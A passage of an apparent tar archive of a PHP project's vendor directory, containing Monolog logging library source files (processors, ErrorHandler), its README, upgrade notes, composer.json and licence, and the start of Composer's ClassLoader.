this Processor will be triggered */ public function __construct($level = Logger::DEBUG, array $skipClassesPartials = [], int $skipStackFramesCount = 0) { $this->level = Logger::toMonologLevel($level); $this->skipClassesPartials = array_merge(['Monolog\\'], $skipClassesPartials); $this->skipStackFramesCount = $skipStackFramesCount; } public function __invoke(array $record): array { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); // skip first since it's always the current method array_shift($trace); // the call_user_func call is also skipped array_shift($trace); $i = 0; while ($this->isTraceClassOrSkippedFunction($trace, $i)) { if (isset($trace[$i]['class'])) { foreach ($this->skipClassesPartials as $part) { if (strpos($trace[$i]['class'], $part) !== false) { $i++; continue 2; } } } elseif (in_array($trace[$i]['function'], $this->skipFunctions)) { $i++; continue; } break; } $i += $this->skipStackFramesCount; // we should have the call source now $record['extra'] = array_merge( $record['extra'], [ 'file' => isset($trace[$i - 1]['file']) ? $trace[$i - 1]['file'] : null, 'line' => isset($trace[$i - 1]['line']) ? $trace[$i - 1]['line'] : null, 'class' => isset($trace[$i]['class']) ? $trace[$i]['class'] : null, 'function' => isset($trace[$i]['function']) ? $trace[$i]['function'] : null, ] ); return $record; } private function isTraceClassOrSkippedFunction(array $trace, int $index) { if (!isset($trace[$index])) { return false; } return isset($trace[$index]['class']) || in_array($trace[$index]['function'], $this->skipFunctions); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/MercurialProcessor.php��������������������������0000644�����������������00000002705�15154650146�0023202 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Logger; /** * Injects Hg branch and Hg revision number in all records * * @author Jonathan A. Schweder <jonathanschweder@gmail.com> */ class MercurialProcessor implements ProcessorInterface { private $level; private static $cache; /** * @param string|int $level The minimum logging level at which this Processor will be triggered */ public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } public function __invoke(array $record): array { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $record['extra']['hg'] = self::getMercurialInfo(); return $record; } private static function getMercurialInfo(): array { if (self::$cache) { return self::$cache; } $result = explode(' ', trim(`hg id -nb`)); if (count($result) >= 3) { return self::$cache = [ 'branch' => $result[1], 'revision' => $result[2], ]; } return self::$cache = []; } } �����������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/ProcessIdProcessor.php��������������������������0000644�����������������00000001072�15154650146�0023146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Adds value of getmypid into records * * @author Andreas Hörnicke */ class ProcessIdProcessor implements ProcessorInterface { public function __invoke(array $record): array { $record['extra']['process_id'] = getmypid(); return $record; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/UidProcessor.php��������������������������������0000644�����������������00000002335�15154650146�0021777 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\ResettableInterface; /** * Adds a unique identifier into records * * @author Simon Mönch <sm@webfactory.de> */ class UidProcessor implements ProcessorInterface, ResettableInterface { private $uid; public function __construct(int $length = 7) { if ($length > 32 || $length < 1) { throw new \InvalidArgumentException('The uid length must be an integer between 1 and 32'); } $this->uid = $this->generateUid($length); } public function __invoke(array $record): array { $record['extra']['uid'] = $this->uid; return $record; } public function getUid(): string { return $this->uid; } public function reset() { $this->uid = $this->generateUid(strlen($this->uid)); } private function generateUid(int $length): string { return substr(bin2hex(random_bytes((int) ceil($length / 2))), 0, $length); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/MemoryPeakUsageProcessor.php��������������������0000644�����������������00000001437�15154650146�0024316 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects memory_get_peak_usage in all records * * @see Monolog\Processor\MemoryProcessor::__construct() for options * @author Rob Jensen */ class MemoryPeakUsageProcessor extends MemoryProcessor { public function __invoke(array $record): array { $usage = memory_get_peak_usage($this->realUsage); if ($this->useFormatting) { $usage = $this->formatBytes($usage); } $record['extra']['memory_peak_usage'] = $usage; return $record; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/MemoryUsageProcessor.php������������������������0000644�����������������00000001414�15154650146�0023510 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects memory_get_usage in all records * * @see Monolog\Processor\MemoryProcessor::__construct() for options * @author Rob Jensen */ class MemoryUsageProcessor extends MemoryProcessor { public function __invoke(array $record): array { $usage = memory_get_usage($this->realUsage); if ($this->useFormatting) { $usage = $this->formatBytes($usage); } $record['extra']['memory_usage'] = $usage; return $record; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/ErrorHandler.php������������������������������������������0000644�����������������00000022043�15154650146�0017764 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; /** * Monolog error handler * * A facility to enable logging of runtime errors, exceptions and fatal errors. * * Quick setup: <code>ErrorHandler::register($logger);</code> * * @author Jordi Boggiano <j.boggiano@seld.be> */ class ErrorHandler { private $logger; private $previousExceptionHandler; private $uncaughtExceptionLevelMap; private $previousErrorHandler; private $errorLevelMap; private $handleOnlyReportedErrors; private $hasFatalErrorHandler; private $fatalLevel; private $reservedMemory; private $lastFatalTrace; private static $fatalErrors = [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR]; public function __construct(LoggerInterface $logger) { $this->logger = $logger; } /** * Registers a new ErrorHandler for a given Logger * * By default it will handle errors, exceptions and fatal errors * * @param LoggerInterface $logger * @param array|false $errorLevelMap an array of E_* constant to LogLevel::* constant mapping, or false to disable error handling * @param array|false $exceptionLevelMap an array of class name to LogLevel::* constant mapping, or false to disable exception handling * @param string|null|false $fatalLevel a LogLevel::* constant, null to use the default LogLevel::ALERT or false to disable fatal error handling * @return ErrorHandler */ public static function register(LoggerInterface $logger, $errorLevelMap = [], $exceptionLevelMap = [], $fatalLevel = null): self { /** @phpstan-ignore-next-line */ $handler = new static($logger); if ($errorLevelMap !== false) { $handler->registerErrorHandler($errorLevelMap); } if ($exceptionLevelMap !== false) { $handler->registerExceptionHandler($exceptionLevelMap); } if ($fatalLevel !== false) { $handler->registerFatalHandler($fatalLevel); } return $handler; } public function registerExceptionHandler($levelMap = [], $callPrevious = true): self { $prev = set_exception_handler(function (\Throwable $e): void { $this->handleException($e); }); $this->uncaughtExceptionLevelMap = $levelMap; foreach ($this->defaultExceptionLevelMap() as $class => $level) { if (!isset($this->uncaughtExceptionLevelMap[$class])) { $this->uncaughtExceptionLevelMap[$class] = $level; } } if ($callPrevious && $prev) { $this->previousExceptionHandler = $prev; } return $this; } public function registerErrorHandler(array $levelMap = [], $callPrevious = true, $errorTypes = -1, $handleOnlyReportedErrors = true): self { $prev = set_error_handler([$this, 'handleError'], $errorTypes); $this->errorLevelMap = array_replace($this->defaultErrorLevelMap(), $levelMap); if ($callPrevious) { $this->previousErrorHandler = $prev ?: true; } $this->handleOnlyReportedErrors = $handleOnlyReportedErrors; return $this; } /** * @param string|null $level a LogLevel::* constant, null to use the default LogLevel::ALERT or false to disable fatal error handling * @param int $reservedMemorySize Amount of KBs to reserve in memory so that it can be freed when handling fatal errors giving Monolog some room in memory to get its job done */ public function registerFatalHandler($level = null, int $reservedMemorySize = 20): self { register_shutdown_function([$this, 'handleFatalError']); $this->reservedMemory = str_repeat(' ', 1024 * $reservedMemorySize); $this->fatalLevel = $level; $this->hasFatalErrorHandler = true; return $this; } protected function defaultExceptionLevelMap(): array { return [ 'ParseError' => LogLevel::CRITICAL, 'Throwable' => LogLevel::ERROR, ]; } protected function defaultErrorLevelMap(): array { return [ E_ERROR => LogLevel::CRITICAL, E_WARNING => LogLevel::WARNING, E_PARSE => LogLevel::ALERT, E_NOTICE => LogLevel::NOTICE, E_CORE_ERROR => LogLevel::CRITICAL, E_CORE_WARNING => LogLevel::WARNING, E_COMPILE_ERROR => LogLevel::ALERT, E_COMPILE_WARNING => LogLevel::WARNING, E_USER_ERROR => LogLevel::ERROR, E_USER_WARNING => LogLevel::WARNING, E_USER_NOTICE => LogLevel::NOTICE, E_STRICT => LogLevel::NOTICE, E_RECOVERABLE_ERROR => LogLevel::ERROR, E_DEPRECATED => LogLevel::NOTICE, E_USER_DEPRECATED => LogLevel::NOTICE, ]; } private function handleException(\Throwable $e) { $level = LogLevel::ERROR; foreach ($this->uncaughtExceptionLevelMap as $class => $candidate) { if ($e instanceof $class) { $level = $candidate; break; } } $this->logger->log( $level, sprintf('Uncaught Exception %s: "%s" at %s line %s', Utils::getClass($e), $e->getMessage(), $e->getFile(), $e->getLine()), ['exception' => $e] ); if ($this->previousExceptionHandler) { ($this->previousExceptionHandler)($e); } if (!headers_sent() && !ini_get('display_errors')) { http_response_code(500); } exit(255); } /** * @private */ public function handleError($code, $message, $file = '', $line = 0, $context = []) { if ($this->handleOnlyReportedErrors && !(error_reporting() & $code)) { return; } // fatal error codes are ignored if a fatal error handler is present as well to avoid duplicate log entries if (!$this->hasFatalErrorHandler || !in_array($code, self::$fatalErrors, true)) { $level = $this->errorLevelMap[$code] ?? LogLevel::CRITICAL; $this->logger->log($level, self::codeToString($code).': '.$message, ['code' => $code, 'message' => $message, 'file' => $file, 'line' => $line]); } else { $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); array_shift($trace); // Exclude handleError from trace $this->lastFatalTrace = $trace; } if ($this->previousErrorHandler === true) { return false; } elseif ($this->previousErrorHandler) { return ($this->previousErrorHandler)($code, $message, $file, $line, $context); } return true; } /** * @private */ public function handleFatalError() { $this->reservedMemory = ''; $lastError = error_get_last(); if ($lastError && in_array($lastError['type'], self::$fatalErrors, true)) { $this->logger->log( $this->fatalLevel === null ? LogLevel::ALERT : $this->fatalLevel, 'Fatal Error ('.self::codeToString($lastError['type']).'): '.$lastError['message'], ['code' => $lastError['type'], 'message' => $lastError['message'], 'file' => $lastError['file'], 'line' => $lastError['line'], 'trace' => $this->lastFatalTrace] ); if ($this->logger instanceof Logger) { foreach ($this->logger->getHandlers() as $handler) { $handler->close(); } } } } private static function codeToString($code): string { switch ($code) { case E_ERROR: return 'E_ERROR'; case E_WARNING: return 'E_WARNING'; case E_PARSE: return 'E_PARSE'; case E_NOTICE: return 'E_NOTICE'; case E_CORE_ERROR: return 'E_CORE_ERROR'; case E_CORE_WARNING: return 'E_CORE_WARNING'; case E_COMPILE_ERROR: return 'E_COMPILE_ERROR'; case E_COMPILE_WARNING: return 'E_COMPILE_WARNING'; case E_USER_ERROR: return 'E_USER_ERROR'; case E_USER_WARNING: return 'E_USER_WARNING'; case E_USER_NOTICE: return 'E_USER_NOTICE'; case E_STRICT: return 'E_STRICT'; case E_RECOVERABLE_ERROR: return 'E_RECOVERABLE_ERROR'; case E_DEPRECATED: return 'E_DEPRECATED'; case E_USER_DEPRECATED: return 'E_USER_DEPRECATED'; } return 'Unknown PHP error'; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/README.md�������������������������������������������������������������0000644�����������������00000012174�15154650146�0013746 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Monolog - Logging for PHP [![Build Status](https://travis-ci.org/Seldaek/monolog.svg?branch=master)](https://travis-ci.org/Seldaek/monolog) [![Total Downloads](https://img.shields.io/packagist/dt/monolog/monolog.svg)](https://packagist.org/packages/monolog/monolog) [![Latest Stable Version](https://img.shields.io/packagist/v/monolog/monolog.svg)](https://packagist.org/packages/monolog/monolog) Monolog sends your logs to files, sockets, inboxes, databases and various web services. See the complete list of handlers below. Special handlers allow you to build advanced logging strategies. This library implements the [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) interface that you can type-hint against in your own libraries to keep a maximum of interoperability. You can also use it in your applications to make sure you can always use another compatible logger at a later time. As of 1.11.0 Monolog public APIs will also accept PSR-3 log levels. Internally Monolog still uses its own level scheme since it predates PSR-3. ## Installation Install the latest version with ```bash $ composer require monolog/monolog ``` ## Basic Usage ```php <?php use Monolog\Logger; use Monolog\Handler\StreamHandler; // create a log channel $log = new Logger('name'); $log->pushHandler(new StreamHandler('path/to/your.log', Logger::WARNING)); // add records to the log $log->warning('Foo'); $log->error('Bar'); ``` ## Documentation - [Usage Instructions](doc/01-usage.md) - [Handlers, Formatters and Processors](doc/02-handlers-formatters-processors.md) - [Utility Classes](doc/03-utilities.md) - [Extending Monolog](doc/04-extending.md) - [Log Record Structure](doc/message-structure.md) ## Support Monolog Financially Get supported Monolog and help fund the project with the [Tidelift Subscription](https://tidelift.com/subscription/pkg/packagist-monolog-monolog?utm_source=packagist-monolog-monolog&utm_medium=referral&utm_campaign=enterprise) or via [GitHub sponsorship](https://github.com/sponsors/Seldaek). Tidelift delivers commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. ## Third Party Packages Third party handlers, formatters and processors are [listed in the wiki](https://github.com/Seldaek/monolog/wiki/Third-Party-Packages). You can also add your own there if you publish one. ## About ### Requirements - Monolog `^2.0` works with PHP 7.2 or above, use Monolog `^1.25` for PHP 5.3+ support. ### Support Monolog 1.x support is somewhat limited at this point and only important fixes will be done. You should migrate to Monolog 2 where possible to benefit from all the latest features and fixes. ### Submitting bugs and feature requests Bugs and feature request are tracked on [GitHub](https://github.com/Seldaek/monolog/issues) ### Framework Integrations - Frameworks and libraries using [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) can be used very easily with Monolog since it implements the interface. - [Symfony](http://symfony.com) comes out of the box with Monolog. - [Laravel](http://laravel.com/) comes out of the box with Monolog. - [Lumen](http://lumen.laravel.com/) comes out of the box with Monolog. - [PPI](https://github.com/ppi/framework) comes out of the box with Monolog. - [CakePHP](http://cakephp.org/) is usable with Monolog via the [cakephp-monolog](https://github.com/jadb/cakephp-monolog) plugin. - [Slim](http://www.slimframework.com/) is usable with Monolog via the [Slim-Monolog](https://github.com/Flynsarmy/Slim-Monolog) log writer. - [XOOPS 2.6](http://xoops.org/) comes out of the box with Monolog. - [Aura.Web_Project](https://github.com/auraphp/Aura.Web_Project) comes out of the box with Monolog. - [Nette Framework](http://nette.org/en/) can be used with Monolog via [contributte/monolog](https://github.com/contributte/monolog) extension. - [Proton Micro Framework](https://github.com/alexbilbie/Proton) comes out of the box with Monolog. - [FuelPHP](http://fuelphp.com/) comes out of the box with Monolog. - [Equip Framework](https://github.com/equip/framework) comes out of the box with Monolog. - [Yii 2](http://www.yiiframework.com/) is usable with Monolog via the [yii2-monolog](https://github.com/merorafael/yii2-monolog) or [yii2-psr-log-target](https://github.com/samdark/yii2-psr-log-target) plugins. - [Hawkbit Micro Framework](https://github.com/HawkBitPhp/hawkbit) comes out of the box with Monolog. - [SilverStripe 4](https://www.silverstripe.org/) comes out of the box with Monolog. ### Author Jordi Boggiano - <j.boggiano@seld.be> - <http://twitter.com/seldaek><br /> See also the list of [contributors](https://github.com/Seldaek/monolog/contributors) who participated in this project. ### License Monolog is licensed under the MIT License - see the [LICENSE](LICENSE) file for details ### Acknowledgements This library is heavily inspired by Python's [Logbook](https://logbook.readthedocs.io/en/stable/) library, although most concepts have been adjusted to fit to the PHP world. ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/UPGRADE.md������������������������������������������������������������0000644�����������������00000005537�15154650146�0014105 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������### 2.0.0 - `Monolog\Logger::API` can be used to distinguish between a Monolog `1` and `2` install of Monolog when writing integration code. - Removed non-PSR-3 methods to add records, all the `add*` (e.g. `addWarning`) methods as well as `emerg`, `crit`, `err` and `warn`. - DateTime are now formatted with a timezone and microseconds (unless disabled). Various formatters and log output might be affected, which may mess with log parsing in some cases. - The `datetime` in every record array is now a DateTimeImmutable, not that you should have been modifying these anyway. - The timezone is now set per Logger instance and not statically, either via ->setTimezone or passed in the constructor. Calls to Logger::setTimezone should be converted. - `HandlerInterface` has been split off and two new interfaces now exist for more granular controls: `ProcessableHandlerInterface` and `FormattableHandlerInterface`. Handlers not extending `AbstractHandler` should make sure to implement the relevant interfaces. - `HandlerInterface` now requires the `close` method to be implemented. This only impacts you if you implement the interface yourself, but you can extend the new `Monolog\Handler\Handler` base class too. - There is no more default handler configured on empty Logger instances, if you were relying on that you will not get any output anymore, make sure to configure the handler you need. #### LogglyFormatter - The records' `datetime` is not sent anymore. Only `timestamp` is sent to Loggly. #### AmqpHandler - Log levels are not shortened to 4 characters anymore. e.g. a warning record will be sent using the `warning.channel` routing key instead of `warn.channel` as in 1.x. - The exchange name does not default to 'log' anymore, and it is completely ignored now for the AMQP extension users. Only PHPAmqpLib uses it if provided. #### RotatingFileHandler - The file name format must now contain `{date}` and the date format must be set to one of the predefined FILE_PER_* constants to avoid issues with file rotation. See `setFilenameFormat`. #### LogstashFormatter - Removed Logstash V0 support - Context/extra prefix has been removed in favor of letting users configure the exact key being sent - Context/extra data are now sent as an object instead of single keys #### HipChatHandler - Removed deprecated HipChat handler, migrate to Slack and use SlackWebhookHandler or SlackHandler instead #### SlackbotHandler - Removed deprecated SlackbotHandler handler, use SlackWebhookHandler or SlackHandler instead #### RavenHandler - Removed deprecated RavenHandler handler, use sentry/sentry 2.x and their Sentry\Monolog\Handler instead #### ElasticSearchHandler - As support for the official Elasticsearch library was added, the former ElasticSearchHandler has been renamed to ElasticaHandler and the new one added as ElasticsearchHandler. �����������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/composer.json���������������������������������������������������������0000644�����������������00000005176�15154650146�0015215 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "name": "monolog/monolog", "description": "Sends your logs to files, sockets, inboxes, databases and various web services", "keywords": ["log", "logging", "psr-3"], "homepage": "https://github.com/Seldaek/monolog", "type": "library", "license": "MIT", "authors": [ { "name": "Jordi Boggiano", "email": "j.boggiano@seld.be", "homepage": "https://seld.be" } ], "require": { "php": ">=7.2", "psr/log": "^1.0.1" }, "require-dev": { "aws/aws-sdk-php": "^2.4.9 || ^3.0", "doctrine/couchdb": "~1.0@dev", "elasticsearch/elasticsearch": "^7", "mongodb/mongodb": "^1.8", "graylog2/gelf-php": "^1.4.2", "php-amqplib/php-amqplib": "~2.4", "php-console/php-console": "^3.1.3", "phpspec/prophecy": "^1.6.1", "phpunit/phpunit": "^8.5", "predis/predis": "^1.1", "rollbar/rollbar": "^1.3", "ruflin/elastica": ">=0.90 <7.0.1", "swiftmailer/swiftmailer": "^5.3|^6.0", "phpstan/phpstan": "^0.12.59" }, "suggest": { "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", "doctrine/couchdb": "Allow sending log messages to a CouchDB server", "ruflin/elastica": "Allow sending log messages to an Elastic Search server", "elasticsearch/elasticsearch": "Allow sending log messages to an Elasticsearch server via official client", "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", "ext-mongodb": "Allow sending log messages to a MongoDB server (via driver)", "mongodb/mongodb": "Allow sending log messages to a MongoDB server (via library)", "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", "rollbar/rollbar": "Allow sending log messages to Rollbar", "php-console/php-console": "Allow sending log messages to Google Chrome", "ext-mbstring": "Allow to work properly with unicode symbols" }, "autoload": { "psr-4": {"Monolog\\": "src/Monolog"} }, "autoload-dev": { "psr-4": {"Monolog\\": "tests/Monolog"} }, "provide": { "psr/log-implementation": "1.0.0" }, "extra": { "branch-alias": { "dev-main": "2.x-dev" } }, "scripts": { "test": "vendor/bin/phpunit", "phpstan": "vendor/bin/phpstan analyse" }, "config": { "sort-packages": true, "platform-check": false }, "lock": false } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/phpstan.neon.dist�����������������������������������������������������0000644�����������������00000001510�15154650146�0015757 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������parameters: level: 5 treatPhpDocTypesAsCertain: false reportUnmatchedIgnoredErrors: false paths: - src/ # - tests/ ignoreErrors: - '#zend_monitor_|ZEND_MONITOR_#' - '#^Cannot call method ltrim\(\) on int\|false.$#' - '#MongoDB\\(Client|Collection)#' - message: '#Return type \(string\) of method Monolog\\Formatter\\LineFormatter::normalizeException\(\) should be compatible with return type \(array\) of method Monolog\\Formatter\\NormalizerFormatter::normalizeException\(\)#' paths: - src/Monolog/Formatter/LineFormatter.php - message: '#Method Monolog\\Handler\\LogglyHandler::loadCurlHandle\(\) never returns resource so it can be removed from the return typehint.#' paths: - src/Monolog/Handler/LogglyHandler.php ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/LICENSE���������������������������������������������������������������0000644�����������������00000002047�15154650146�0013472 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Copyright (c) 2011-2020 Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/composer/ClassLoader.php��������������������������������������������������������������0000644�����������������00000032154�15154650146�0014077 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Autoload; /** * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. * * $loader = new \Composer\Autoload\ClassLoader(); * * // register classes with namespaces * $loader->add('Symfony\Component', __DIR__.'/component'); * $loader->add('Symfony', __DIR__.'/framework'); * * // activate the autoloader * $loader->register(); * * // to enable searching the include path (eg. for PEAR packages) * $loader->setUseIncludePath(true); * * In this example, if you try to use a class in the Symfony\Component * namespace or one of its children (Symfony\Component\Console for instance), * the autoloader will first look for the class under the component/ * directory, and it will then fallback to the framework/ directory if not * found before giving up. * * This class is loosely based on the Symfony UniversalClassLoader. * * @author Fabien Potencier <fabien@symfony.com> * @author Jordi Boggiano <j.boggiano@seld.be> * @see http://www.php-fig.org/psr/psr-0/ * @see http://www.php-fig.org/psr/psr-4/ */ class ClassLoader { // PSR-4 private $prefixLengthsPsr4 = array(); private $prefixDirsPsr4 = array(); private $fallbackDirsPsr4 = array(); // PSR-0 private $prefixesPsr0 = array(); private $fallbackDirsPsr0 = array(); private $useIncludePath = false; private $classMap = array(); private $classMapAuthoritative = false; private $missingClasses = array(); private $apcuPrefix; public function getPrefixes() { if (!empty($this->prefixesPsr0)) { return call_user_func_array('array_merge', $this->prefixesPsr0); } return array(); } public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } public function getFallbackDirs() { return $this->fallbackDirsPsr0; } public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } public function getClassMap() { return $this->classMap; } /** * @param array $classMap Class to filename map */ public function addClassMap(array $classMap) { if ($this->classMap) { $this->classMap = array_merge($this->classMap, $classMap); } else { $this->classMap = $classMap; } } /** * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * * @param string $prefix The prefix * @param array|string $paths The PSR-0 root directories * @param bool $prepend Whether to prepend the directories */ public function add($prefix, $paths, $prepend = false) { if (!$prefix) { if ($prepend) { $this->fallbackDirsPsr0 = array_merge( (array) $paths, $this->fallbackDirsPsr0 ); } else { $this->fallbackDirsPsr0 = array_merge( $this->fallbackDirsPsr0, (array) $paths ); } return; } $first = $prefix[0]; if (!isset($this->prefixesPsr0[$first][$prefix])) { $this->prefixesPsr0[$first][$prefix] = (array) $paths; return; } if ($prepend) { $this->prefixesPsr0[$first][$prefix] = array_merge( (array) $paths, $this->prefixesPsr0[$first][$prefix] ); } else { $this->prefixesPsr0[$first][$prefix] = array_merge( $this->prefixesPsr0[$first][$prefix], (array) $paths ); } } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param array|string $paths The PSR-4 base directories * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException */ public function addPsr4($prefix, $paths, $prepend = false) { if (!$prefix) { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirsPsr4 = array_merge( (array) $paths, $this->fallbackDirsPsr4 ); } else { $this->fallbackDirsPsr4 = array_merge( $this->fallbackDirsPsr4, (array) $paths ); } } elseif (!isset($this->prefixDirsPsr4[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( (array) $paths, $this->prefixDirsPsr4[$prefix] ); } else { // Append directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $this->prefixDirsPsr4[$prefix], (array) $paths ); } } /** * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * * @param string $prefix The prefix * @param array|string $paths The PSR-0 base directories */ public function set($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr0 = (array) $paths; } else { $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; } } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param array|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException */ public function setPsr4($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr4 = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } } /** * Turns on searching the include path for class files. * * @param bool $useIncludePath */ public function setUseIncludePath($useIncludePath) { $this->useIncludePath = $useIncludePath; } /** * Can be used to check if the autoloader uses the include path to check * for classes. * * @return bool */ public function 